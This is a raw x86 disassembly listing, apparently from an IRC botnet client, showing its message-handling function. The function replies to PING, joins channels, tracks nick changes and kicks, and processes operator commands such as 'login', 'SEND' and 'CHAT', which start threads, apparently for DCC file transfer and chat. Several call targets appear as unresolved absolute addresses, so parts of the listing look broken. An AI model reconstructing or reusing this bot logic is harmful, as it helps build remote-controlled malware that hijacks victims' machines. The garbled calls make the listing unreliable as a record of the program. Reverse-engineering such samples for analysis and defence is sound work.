var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = dword ptr -1508h
var_1504 = byte ptr -1504h
var_14F4 = byte ptr -14F4h
var_1474 = byte ptr -1474h
var_13F4 = dword ptr -13F4h
var_13EC = dword ptr -13ECh
var_13E8 = dword ptr -13E8h
var_13E4 = dword ptr -13E4h
var_13E0 = dword ptr -13E0h
var_13DC = dword ptr -13DCh
var_13D8 = dword ptr -13D8h
var_13D4 = byte ptr -13D4h
var_1354 = byte ptr -1354h
var_12D4 = byte ptr -12D4h
var_1254 = dword ptr -1254h
var_1250 = dword ptr -1250h
var_124C = dword ptr -124Ch
var_1248 = dword ptr -1248h
var_1244 = dword ptr -1244h
var_1240 = dword ptr -1240h
var_123C = dword ptr -123Ch
var_1238 = dword ptr -1238h
var_1230 = byte ptr -1230h
var_11B0 = byte ptr -11B0h
var_1130 = dword ptr -1130h
var_112C = dword ptr -112Ch
var_1128 = dword ptr -1128h
var_1120 = dword ptr -1120h
var_111C = dword ptr -111Ch
var_1118 = dword ptr -1118h
var_1110 = dword ptr -1110h
var_110C = byte ptr -110Ch
var_108C = byte ptr -108Ch
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = dword ptr -1004h
var_FFC = dword ptr -0FFCh
var_FF8 = dword ptr -0FF8h
var_FF4 = dword ptr -0FF4h
var_FF0 = dword ptr -0FF0h
var_FEC = dword ptr -0FECh
var_FE8 = byte ptr -0FE8h
var_F68 = dword ptr -0F68h
var_F64 = dword ptr -0F64h
var_F60 = dword ptr -0F60h
var_F5C = dword ptr -0F5Ch
var_F58 = dword ptr -0F58h
var_F54 = byte ptr -0F54h
var_ED4 = dword ptr -0ED4h
var_ED0 = dword ptr -0ED0h
var_ECC = dword ptr -0ECCh
var_EC8 = dword ptr -0EC8h
var_EC4 = dword ptr -0EC4h
var_EC0 = byte ptr -0EC0h
var_E40 = dword ptr -0E40h
var_E3C = dword ptr -0E3Ch
var_E38 = dword ptr -0E38h
var_E34 = dword ptr -0E34h
var_E30 = byte ptr -0E30h
var_E10 = byte ptr -0E10h
var_E00 = byte ptr -0E00h
var_D80 = dword ptr -0D80h
var_D7C = byte ptr -0D7Ch
var_CFC = byte ptr -0CFCh
var_C7C = dword ptr -0C7Ch
var_C78 = dword ptr -0C78h
var_C74 = dword ptr -0C74h
var_C70 = dword ptr -0C70h
var_C6C = dword ptr -0C6Ch
var_C68 = dword ptr -0C68h
var_C64 = dword ptr -0C64h
var_C60 = dword ptr -0C60h
var_C5C = dword ptr -0C5Ch
var_C58 = dword ptr -0C58h
var_C54 = byte ptr -0C54h
var_BD4 = dword ptr -0BD4h
var_BD0 = dword ptr -0BD0h
var_BCC = dword ptr -0BCCh
var_BC8 = dword ptr -0BC8h
var_BC4 = byte ptr -0BC4h
var_B44 = dword ptr -0B44h
var_B40 = dword ptr -0B40h
var_B3C = dword ptr -0B3Ch
var_B38 = dword ptr -0B38h
var_B34 = dword ptr -0B34h
var_B30 = dword ptr -0B30h
var_B2C = byte ptr -0B2Ch
var_AAC = dword ptr -0AACh
var_AA8 = dword ptr -0AA8h
var_AA4 = dword ptr -0AA4h
var_AA0 = dword ptr -0AA0h
var_A9C = dword ptr -0A9Ch
var_A98 = dword ptr -0A98h
var_A94 = byte ptr -0A94h
var_A14 = dword ptr -0A14h
var_A10 = dword ptr -0A10h
var_A0C = dword ptr -0A0Ch
var_A08 = dword ptr -0A08h
var_A04 = dword ptr -0A04h
var_A00 = dword ptr -0A00h
var_9FC = byte ptr -9FCh
var_97C = word ptr -97Ch
var_978 = dword ptr -978h
var_970 = dword ptr -970h
var_96C = dword ptr -96Ch
var_968 = dword ptr -968h
var_960 = byte ptr -960h
var_8FF = byte ptr -8FFh
var_8FE = byte ptr -8FEh
var_8FC = byte ptr -8FCh
var_8FB = byte ptr -8FBh
var_8F2 = byte ptr -8F2h
var_8F0 = byte ptr -8F0h
var_8EE = byte ptr -8EEh
var_8ED = byte ptr -8EDh
var_860 = byte ptr -860h
var_850 = byte ptr -850h
var_7D0 = byte ptr -7D0h
var_750 = dword ptr -750h
var_74C = dword ptr -74Ch
var_748 = dword ptr -748h
var_744 = dword ptr -744h
var_740 = dword ptr -740h
var_734 = dword ptr -734h
var_730 = dword ptr -730h
var_728 = dword ptr -728h
var_724 = dword ptr -724h
var_720 = dword ptr -720h
var_71C = dword ptr -71Ch
var_714 = dword ptr -714h
var_710 = byte ptr -710h
var_690 = dword ptr -690h
var_688 = dword ptr -688h
var_684 = dword ptr -684h
var_680 = dword ptr -680h
var_678 = dword ptr -678h
var_674 = dword ptr -674h
var_670 = dword ptr -670h
var_668 = dword ptr -668h
var_63C = dword ptr -63Ch
var_638 = word ptr -638h
var_624 = dword ptr -624h
var_620 = byte ptr -620h
var_5A0 = byte ptr -5A0h
var_590 = dword ptr -590h
var_58C = dword ptr -58Ch
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_574 = dword ptr -574h
var_570 = byte ptr -570h
var_4F0 = dword ptr -4F0h
var_4EC = dword ptr -4ECh
var_4E8 = dword ptr -4E8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4C8 = byte ptr -4C8h
var_4BC = byte ptr -4BCh
var_484 = byte ptr -484h
var_474 = byte ptr -474h
var_3F4 = byte ptr -3F4h
var_374 = dword ptr -374h
var_370 = dword ptr -370h
var_36C = dword ptr -36Ch
var_368 = dword ptr -368h
var_364 = dword ptr -364h
var_358 = dword ptr -358h
var_354 = dword ptr -354h
var_34C = dword ptr -34Ch
var_348 = dword ptr -348h
var_344 = dword ptr -344h
var_340 = dword ptr -340h
var_338 = byte ptr -338h
var_31C = word ptr -31Ch
var_31A = word ptr -31Ah
var_318 = dword ptr -318h
var_30C = byte ptr -30Ch
var_308 = dword ptr -308h
var_2FC = byte ptr -2FCh
var_2F8 = byte ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2E8 = byte ptr -2E8h
var_2E4 = byte ptr -2E4h
var_2E3 = byte ptr -2E3h
var_2E2 = byte ptr -2E2h
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C8 = dword ptr -2C8h
var_2C4 = byte ptr -2C4h
var_C4 = byte ptr -0C4h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_93 = byte ptr -93h
var_92 = byte ptr -92h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_50 = byte ptr -50h
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
mov eax, 5D88h
call sub_41BB20
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp+var_2C4]
push ebx
push eax
mov [ebp+var_AC], 3
mov [ebp+var_10], ebx
mov [ebp+var_A4], ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [ebp+var_2C8], ebx
call sub_41B590
push 1Bh
lea eax, [ebp+var_338]
push [ebp+arg_10]
push eax
call sub_41B5F0
add esp, 18h
cmp [ebp+arg_0], ebx
jz loc_401E94
push esi
lea eax, [ebp+var_4488]
push ebx
push eax
call sub_41B590
dec esi
lea eax, [ebp+var_4488]
push esi
push [ebp+arg_0]
push eax
call sub_41B5F0
lea eax, [ebp+var_4488]
push offset asc_42D128 ; " :"
push eax
call sub_41B900
mov [ebp+var_C], eax
lea eax, [ebp+var_4488]
push esi
push eax
lea eax, [ebp+var_4AF0]
push eax
call sub_41B5F0
mov esi, offset asc_42D124 ; " "
lea eax, [ebp+var_4AF0]
push esi
push eax
call sub_41C0F4
add esp, 34h
mov [ebp+var_90], eax
lea edi, [ebp+var_8C]
mov [ebp+var_A8], 1Fh
loc_401BA0: ; CODE XREF: sub_401ACD+E7j
push esi
push ebx
call sub_41C0F4
mov [edi], eax
pop ecx
add edi, 4
dec [ebp+var_A8]
pop ecx
jnz short loc_401BA0
mov esi, [ebp+var_90]
cmp esi, ebx
jz loc_401E94
cmp [ebp+var_8C], ebx
jz loc_401E94
push 100h
lea eax, [ebp+var_960]
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea ecx, [ebp+var_14]
push 1Fh
pop edx
push 1
pop edi
loc_401BEE: ; CODE XREF: sub_401ACD+153j
mov eax, [ecx]
cmp eax, ebx
jz short loc_401C1A
cmp byte ptr [eax], 2Dh
jnz short loc_401C22
cmp [eax+2], bl
jnz short loc_401C22
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov [ebp+esi+var_960], 1
mov esi, [ebp+var_90]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_401C1A: ; CODE XREF: sub_401ACD+125j
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_401BEE
loc_401C22: ; CODE XREF: sub_401ACD+12Aj
; sub_401ACD+12Fj
cmp [ebp+var_8ED], bl
jz short loc_401C2D
mov [ebp+var_8], edi
loc_401C2D: ; CODE XREF: sub_401ACD+15Bj
cmp [ebp+var_8F2], bl
jz short loc_401C3B
mov [ebp+var_8], ebx
mov [ebp+var_4], edi
loc_401C3B: ; CODE XREF: sub_401ACD+166j
cmp byte ptr [esi], 0Ah
jz short loc_401C75
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp+var_C4]
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
push offset asc_42D120 ; "!"
push eax
call sub_41C0F4
add esp, 20h
loc_401C75: ; CODE XREF: sub_401ACD+171j
push esi
push offset aPing ; "PING"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401CC6
push [ebp+var_8C]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push [ebp+arg_4]
call sub_409A2D
mov eax, [ebp+arg_20]
add esp, 0Ch
cmp [eax], ebx
jnz loc_401D6A
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_409A2D
add esp, 10h
jmp loc_401D6A
; ---------------------------------------------------------------------------
loc_401CC6: ; CODE XREF: sub_401ACD+1B7j
mov esi, [ebp+var_8C]
push esi
push offset a001 ; "001"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E1
push esi
push offset a005 ; "005"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4099E1
push esi
push offset a302 ; "302"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D2E
push offset a@ ; "@"
push [ebp+var_84]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_401D6A
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_41B5F0
jmp short loc_401D67
; ---------------------------------------------------------------------------
loc_401D2E: ; CODE XREF: sub_401ACD+238j
push esi
push offset a433 ; "433"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401D71
push ebx
push dword_4290A0
push dword_42909C
push [ebp+arg_10]
call sub_40B08E
add esp, 10h
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_409A2D
loc_401D67: ; CODE XREF: sub_401ACD+25Fj
add esp, 0Ch
loc_401D6A: ; CODE XREF: sub_401ACD+1D8j
; sub_401ACD+1F4j ...
mov eax, edi
jmp loc_401E97
; ---------------------------------------------------------------------------
loc_401D71: ; CODE XREF: sub_401ACD+270j
mov esi, [ebp+arg_18]
mov [ebp+var_A8], 3
mov edi, 80h
loc_401D83: ; CODE XREF: sub_401ACD+2DBj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401DA0
mov [ebp+var_A4], 1
loc_401DA0: ; CODE XREF: sub_401ACD+2C7j
add esi, edi
dec [ebp+var_A8]
jnz short loc_401D83
mov esi, [ebp+var_8C]
push esi
push offset aKick ; "KICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401E9C
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 3
loc_401DCF: ; CODE XREF: sub_401ACD+392j
cmp [esi], bl
jz loc_401E5A
push 7Fh
lea eax, [ebp+var_E00]
push esi
push eax
call sub_41B5F0
lea eax, [ebp+var_C4]
add esp, 0Ch
test eax, eax
jz short loc_401E5A
cmp [ebp+var_84], ebx
jz short loc_401E5A
push [ebp+var_84]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E5A
lea eax, [ebp+var_C4]
mov [esi], bl
push eax
lea eax, [ebp+var_2C4]
push offset unk_42D0B4
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_C4]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_409A2D
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
add esp, 14h
loc_401E5A: ; CODE XREF: sub_401ACD+304j
; sub_401ACD+324j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_401DCF
push [ebp+var_84]
push [ebp+arg_10]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401E94
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_401E89: ; CODE XREF: sub_401ACD+612j
; sub_401ACD+8D5j ...
push [ebp+arg_4]
call sub_409A2D
loc_401E91: ; CODE XREF: sub_401ACD+253Cj
; sub_401ACD+2559j ...
add esp, 10h
loc_401E94: ; CODE XREF: sub_401ACD+5Bj
; sub_401ACD+F1j ...
push 1
loc_401E96: ; CODE XREF: sub_401ACD+2A62j
pop eax
loc_401E97: ; CODE XREF: sub_401ACD+29Fj
; sub_401ACD+2A84j ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401E9C: ; CODE XREF: sub_401ACD+2F2j
push esi
push offset aNick ; "NICK"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_401FF2
mov eax, [ebp+var_88]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 3
mov [ebp+arg_24], eax
loc_401EC5: ; CODE XREF: sub_401ACD+44Aj
lea eax, [ebp+var_E00]
push eax
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F12
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_401F12
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_41BEB0
push [ebp+arg_1C]
push edi
call sub_41BEC0
add esp, 10h
mov edi, 80h
loc_401F12: ; CODE XREF: sub_401ACD+409j
; sub_401ACD+420j
add esi, edi
dec [ebp+arg_0]
jnz short loc_401EC5
lea eax, [ebp+var_C4]
test eax, eax
jz loc_401E94
cmp [ebp+arg_24], ebx
jz loc_401E94
push [ebp+arg_10]
lea eax, [ebp+var_C4]
push eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_401F5A
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_41B5F0
loc_401F52: ; CODE XREF: sub_401ACD+1C36j
add esp, 0Ch
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F5A: ; CODE XREF: sub_401ACD+476j
mov edi, [ebp+arg_18]
xor esi, esi
loc_401F5F: ; CODE XREF: sub_401ACD+4B3j
cmp [edi], bl
jz short loc_401F76
lea eax, [ebp+var_E00]
push eax
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_401F87
loc_401F76: ; CODE XREF: sub_401ACD+494j
inc esi
add edi, 80h
cmp esi, 3
jl short loc_401F5F
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401F87: ; CODE XREF: sub_401ACD+4A7j
lea eax, [ebp+var_E00]
push 21h
push eax
call sub_41BFB0
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz loc_401E94
push eax
call sub_41AFE0
push [ebp+arg_24]
mov edi, eax
call sub_41AFE0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_401E94
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS ; ":%s%s"
push esi
call sub_41B886
push ebx
lea eax, [ebp+var_45EC]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_409A73
add esp, 24h
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_401FF2: ; CODE XREF: sub_401ACD+3DEj
push esi
push offset aPart ; "PART"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402014
push esi
push offset aQuit ; "QUIT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40203B
loc_402014: ; CODE XREF: sub_401ACD+534j
mov edi, [ebp+arg_18]
xor esi, esi
loc_402019: ; CODE XREF: sub_401ACD+56Cj
cmp [edi], bl
jz short loc_40202F
push [ebp+var_90]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402083
loc_40202F: ; CODE XREF: sub_401ACD+54Ej
inc esi
add edi, 80h
cmp esi, 3
jl short loc_402019
loc_40203B: ; CODE XREF: sub_401ACD+545j
push [ebp+var_8C]
push offset a353 ; "353"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_4020E4
push [ebp+var_80]
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_40206F
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40206F: ; CODE XREF: sub_401ACD+597j
push [ebp+var_80]
push offset unk_42D060
loc_402077: ; CODE XREF: sub_401ACD+28CDj
; sub_401ACD+2C4Dj ...
call sub_415221
loc_40207C: ; CODE XREF: sub_401ACD+1BE2j
pop ecx
loc_40207D: ; CODE XREF: sub_401ACD+7B70j
pop ecx
jmp loc_401E94
; ---------------------------------------------------------------------------
loc_402083: ; CODE XREF: sub_401ACD+560j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42D03C
push eax
call sub_41B886
lea eax, [ebp+var_2C4]
push eax
call sub_4151AD
push [ebp+var_8C]
push offset aPart ; "PART"
call sub_41C070
add esp, 18h
test eax, eax
jnz loc_401E94
lea eax, [ebp+var_2C4]
push eax
mov eax, [ebp+var_90]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4020E4: ; CODE XREF: sub_401ACD+582j
push [ebp+var_8C]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_41C070
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402138
push [ebp+var_8C]
push offset dword_42D028
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409855
cmp dword_429088, ebx
jz loc_409855
loc_402138: ; CODE XREF: sub_401ACD+631j
; sub_401ACD+643j
push [ebp+var_8C]
push esi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_4022BE
mov eax, [ebp+var_84]
inc [ebp+var_80]
push 4
mov [ebp+var_88], eax
pop esi
mov [ebp+var_AC], esi
loc_40217C: ; CODE XREF: sub_401ACD+8ADj
; sub_401ACD+8E9j ...
shl esi, 2
mov eax, [ebp+esi+var_90]
lea edi, [ebp+esi+var_90]
push eax
push offset dword_42D020
mov [ebp+arg_8], eax
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_402557
push [ebp+esi+var_8C]
push offset aSend_0 ; "SEND"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40241E
cmp [ebp+var_A4], ebx
jz loc_4023F7
push [ebp+esi+var_88]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_1B80]
push edi
push eax
call sub_41B886
add esp, 0Ch
lea eax, [ebp+var_1B94]
push [ebp+esi+var_84]
push edi
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_19FC], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1B9C], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_1A7C]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_19F4], eax
mov eax, [ebp+var_8]
mov [ebp+var_19F0], eax
lea eax, [ebp+var_1A7C]
push eax
lea eax, [ebp+var_1B80]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CFE4
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Ah
push eax
call sub_40B0F7
add esp, 1Ch
mov [ebp+var_19F8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1B9C]
push ebx
push eax
push offset loc_4161BD
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_19F8]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz loc_4023E6
loc_4022A8: ; CODE XREF: sub_401ACD+7EFj
cmp [ebp+var_19EC], ebx
jnz loc_4083BD
push 32h
nop
call near ptr 2680000h
jmp short loc_4022A8
; ---------------------------------------------------------------------------
loc_4022BE: ; CODE XREF: sub_401ACD+67Bj
; sub_401ACD+691j
push [ebp+var_8C]
push edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_4022D7
mov [ebp+var_4], 1
loc_4022D7: ; CODE XREF: sub_401ACD+801j
cmp [ebp+var_88], ebx
jz loc_401E94
push offset dword_42CFE0
push [ebp+var_88]
call sub_41B900
pop ecx
test eax, eax
pop ecx
jz short loc_4022FE
cmp [ebp+var_4], ebx
jz short loc_40230A
loc_4022FE: ; CODE XREF: sub_401ACD+82Aj
lea eax, [ebp+var_C4]
mov [ebp+var_88], eax
loc_40230A: ; CODE XREF: sub_401ACD+82Fj
cmp [ebp+var_84], ebx
jz loc_401E94
inc [ebp+var_84]
jz short loc_402356
cmp [ebp+arg_10], ebx
jz short loc_402356
lea eax, [ebp+var_338]
push eax
call sub_41AFE0
push eax
lea eax, [ebp+var_338]
push [ebp+var_84]
push eax
call sub_41BE70
mov esi, eax
add esp, 10h
neg esi
sbb esi, esi
add esi, 4
mov [ebp+var_AC], esi
jmp short loc_40235C
; ---------------------------------------------------------------------------
loc_402356: ; CODE XREF: sub_401ACD+84Fj
; sub_401ACD+854j
mov esi, [ebp+var_AC]
loc_40235C: ; CODE XREF: sub_401ACD+887j
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401E94
push edi
push offset dword_42CFD4
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz short loc_4023A7
mov eax, dword_4CB508
mov eax, off_429164[eax*4]
cmp [eax], bl
jz short loc_4023A7
push eax
push ecx
push offset dword_42CFB8
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023A7: ; CODE XREF: sub_401ACD+8BCj
; sub_401ACD+8CCj
push edi
push offset dword_42CFB0
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40217C
mov eax, [ebp+esi*4+var_8C]
cmp eax, ebx
jz loc_40217C
mov ecx, [ebp+var_88]
cmp byte ptr [ecx], 23h
jz loc_40217C
push eax
push ecx
push offset dword_42CF98
jmp loc_401E89
; ---------------------------------------------------------------------------
loc_4023E6: ; CODE XREF: sub_401ACD+7D5j
; sub_401ACD+7853j
nop
call near ptr 2680ABEh
push eax
push offset unk_42CF5C
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_4023F7: ; CODE XREF: sub_401ACD+6F9j
lea eax, [ebp+var_C4]
push eax
push [ebp+esi+var_88]
push offset unk_42CF18
loc_40240A: ; CODE XREF: sub_401ACD+7E2Aj
; sub_401ACD+7E91j
lea eax, [ebp+var_2C4]
push eax
call sub_41B886
add esp, 10h
jmp loc_4083BD
; ---------------------------------------------------------------------------
loc_40241E: ; CODE XREF: sub_401ACD+6EDj
push [ebp+esi+var_8C]
push offset aChat ; "CHAT"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_40256D
cmp [ebp+var_A4], ebx
jz loc_402546
push 1Bh
call sub_40B33F
test eax, eax
pop ecx
jnz loc_402535
push [ebp+esi+var_84]
lea eax, [ebp+var_2AA8]
push offset aS_1 ; "%s"
push eax
call sub_41B886
push [ebp+esi+var_80]
call sub_41B779
mov [ebp+var_2910], eax
mov eax, [ebp+arg_4]
mov [ebp+var_2AB0], eax
lea eax, [ebp+var_C4]
push 7Fh
push eax
lea eax, [ebp+var_2990]
push eax
call sub_41B5F0
mov eax, [ebp+var_4]
add esp, 1Ch
mov [ebp+var_2908], eax
mov eax, [ebp+var_8]
mov [ebp+var_2904], eax
lea eax, [ebp+var_C4]
push eax
lea eax, [ebp+var_2C4]
push offset unk_42CEF0
push eax
call sub_41B886
push ebx
lea eax, [ebp+var_2C4]
push 1Bh
push eax
call sub_40B0F7
add esp, 18h
mov [ebp+var_290C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2AB0]
push ebx
push eax
push offset word_415C5A
push ebx
push ebx
nop
call near ptr 2680098h
mov ecx, [ebp+var_290C]
imul ecx, 234h
cmp eax, ebx
mov dword_43E5A4[ecx], eax
jz short loc_402524
loc_40250E: ; CODE XREF: sub_401ACD+A55j
cmp [ebp+var_2900], ebx
jnz loc_4083BD
push 32h
nop
call near ptr 2680000h
jmp short loc_40250E
; ---------------------------------------------------------------------------
loc_402524: ; CODE XREF: sub_401ACD+A3Fj
call near ptr 2680ABEh
nop
push eax
push offset unk_42CEB8
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_402535: ; CODE XREF: sub_401ACD+982j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CE88
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_402546: ; CODE XREF: sub_401ACD+972j
lea eax, [ebp+var_C4]
push eax
push offset unk_42CE54
jmp loc_4083AE
; ---------------------------------------------------------------------------
loc_402557: ; CODE XREF: sub_401ACD+6D2j
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_429094
mov [edi], ecx
jnz loc_401E94
loc_40256D: ; CODE XREF: sub_401ACD+966j
mov edi, [edi]
push edi
push offset aLogin ; "login"
mov [ebp+arg_8], edi
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985D
push edi
push offset asc_42CE50 ; "l"
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz loc_40985D
cmp [ebp+var_A4], ebx
jnz short loc_4025BE
push [ebp+var_8C]
push offset dword_42D028
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz loc_409855
loc_4025BE: ; CODE XREF: sub_401ACD+AD5j
cmp [ebp+arg_28], ebx
jnz loc_409855
xor edi, edi
cmp dword_4294D0, ebx
jle loc_402773
mov [ebp+arg_20], offset dword_43D810
loc_4025DC: ; CODE XREF: sub_401ACD+B2Ej
push [ebp+arg_8]
push [ebp+arg_20]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jz short loc_402602
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_4294D0
jl short loc_4025DC
jmp loc_402773
; ---------------------------------------------------------------------------
loc_402602: ; CODE XREF: sub_401ACD+B1Ej
push offset asc_42D128 ; " :"
push [ebp+arg_0]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz loc_401E94
mov cl, byte_429094
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_429094
mov [eax+3], cl
lea ecx, dword_43D828[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_41B5F0
lea eax, [ebp+esi+var_50]
add esp, 0Ch
mov [ebp+arg_20], 0Fh
mov [ebp+arg_C], eax
loc_402657: ; CODE XREF: sub_401ACD+C3Bj
push [ebp+arg_20]
lea eax, [ebp+var_A0]
push offset aD_1 ; "$%d-"
push eax
call sub_41B886
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_41B900
add esp, 14h
test eax, eax
jz short loc_4026C3
mov eax, [ebp+arg_C]
cmp [eax], ebx
jz short loc_4026C3
lea eax, dword_43D810[edi]
push eax
call sub_41AFE0
add [ebp+var_C], eax
pop ecx
jz short loc_4026FE
mov eax, [ebp+arg_C]
push dword ptr [eax-4]
push [ebp+var_C]
call sub_41B900
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4026FE
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_417EEF
add esp, 0Ch
jmp short loc_4026FE
